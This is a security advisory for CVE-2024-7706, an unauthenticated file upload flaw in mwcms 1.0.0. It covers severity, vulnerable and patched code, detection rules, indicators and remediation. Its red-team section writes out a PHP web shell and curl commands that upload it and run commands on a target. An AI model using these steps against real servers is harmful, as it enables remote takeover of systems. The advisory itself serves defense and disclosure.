CVE-2024-7706

Executive Summary

CVE-2024-7706 is a critical unrestricted file upload vulnerability in Fujian mwcms 1.0.0, specifically in the /uploadfile.html endpoint's uploadimage function. The vulnerability allows an unauthenticated remote attacker to upload arbitrary files, including web shells, leading to full server compromise. The vendor (Fujian) has not responded to disclosure, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP-based CMS (mwcms) developed by Fujian. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and leads to complete system takeover. Public exploit code is available.

Deep Dive & Mechanics

The vulnerability resides in the uploadimage function of /uploadfile.html. The application fails to validate the file type or content of the upfile parameter, allowing an attacker to upload any file extension (e.g., .php, .asp, .jsp). The uploaded file is stored in a web-accessible directory, enabling direct execution of server-side scripts.

Root Cause: Lack of file type validation (MIME type, extension whitelist, or content inspection) in the upload handler. The application likely uses a simple move_uploaded_file() call without checking the file's extension or magic bytes.

Attack Flow:

1. Attacker crafts a malicious PHP web shell (e.g., shell.php).
2. Attacker sends a POST request to /uploadfile.html with the upfile parameter containing the shell.
3. The server stores the file in an uploads directory (e.g., /uploads/shell.php).
4. Attacker accesses the uploaded shell via HTTP, gaining remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (mwcms 1.0.0):

// /uploadfile.html (simplified)
if (isset($_FILES['upfile'])) {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["upfile"]["name"]);
    move_uploaded_file($_FILES["upfile"]["tmp_name"], $target_file);
    echo "File uploaded successfully: " . $target_file;
}

Patched Code (Hypothetical):

// /uploadfile.html (patched)
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$file_extension = strtolower(pathinfo($_FILES["upfile"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type.");
}
$target_dir = "uploads/";
$target_file = $target_dir . uniqid() . "." . $file_extension;
move_uploaded_file($_FILES["upfile"]["tmp_name"], $target_file);
echo "File uploaded successfully.";

Key Differences:

• Extension whitelist: Only allow image extensions.
• Renaming: Use a unique filename to prevent overwriting and predictable paths.
• Error handling: Reject invalid files with a clear error.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running mwcms 1.0.0
• Network access to the /uploadfile.html endpoint

Exploit Steps:

1. Create a PHP web shell:

   <?php system($_GET['cmd']); ?>
   

   Save as shell.php.

2. Upload the shell using curl:

   curl -F "upfile=@shell.php" http://target/uploadfile.html
   

3. Execute commands:

   curl http://target/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /uploadfile.html with suspicious file extensions (.php, .phtml, .php5).
• Alert on files uploaded to /uploads/ that are not images (check MIME type).
• Use WAF rules to block uploads of executable scripts.

Hunting:

• Search web server logs for POST /uploadfile.html followed by GET /uploads/*.php.
• Look for files in /uploads/ with non-image extensions.
• Check for unexpected processes spawned by the web server user.

Indicators of Compromise (IOCs)

File-Based IOCs:

• /uploads/shell.php (or similar)
• Any .php file in /uploads/ directory
• Files with double extensions (e.g., image.php.jpg)

Network IOCs:

• POST requests to /uploadfile.html with Content-Type: multipart/form-data
• GET requests to /uploads/*.php?cmd=...
• Outbound connections from the web server to attacker-controlled IPs

Log IOCs:

• Web server logs showing POST /uploadfile.html followed by GET /uploads/*.php
• PHP error logs indicating move_uploaded_file() failures or warnings

Detection Engineering

YARA Rule

rule CVE_2024_7706_WebShell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-7706"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7706"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $shell_func = /shell_exec\s*\(/
        $cmd_param = /\$_GET\s*\[\s*['"]cmd['"]\s*\]/
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: CVE-2024-7706 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-7706 via file upload to /uploadfile.html
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/uploadfile.html'
    condition: selection
falsepositives:
    - Legitimate image uploads (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7706 Unrestricted File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/uploadfile.html"; http.client_body; content:"Content-Disposition: form-data; name=\"upfile\""; fileext:".php"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the internet if possible.
2. Disable the /uploadfile.html endpoint by removing or renaming the file.
3. Implement a Web Application Firewall (WAF) rule to block uploads of executable files (.php, .phtml, .php5, .asp, .aspx, .jsp).

Long-Term Fixes:

• Vendor Patch: Since no patch is available, consider migrating to a different CMS or implementing a custom fix:
  • Add file extension whitelisting (only allow image types).
  • Rename uploaded files to random strings.
  • Store uploads outside the web root and serve via a script that enforces MIME type.
• Code Review: Audit all file upload functionality for similar vulnerabilities.

Compensating Controls:

• Restrict file permissions on the uploads directory (no execute permission).
• Use a reverse proxy to inspect and block malicious uploads.
• Enable SELinux or AppArmor to confine the web server process.

Monitoring:

• Enable detailed logging for all file upload attempts.
• Set up alerts for any file uploads with non-image extensions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert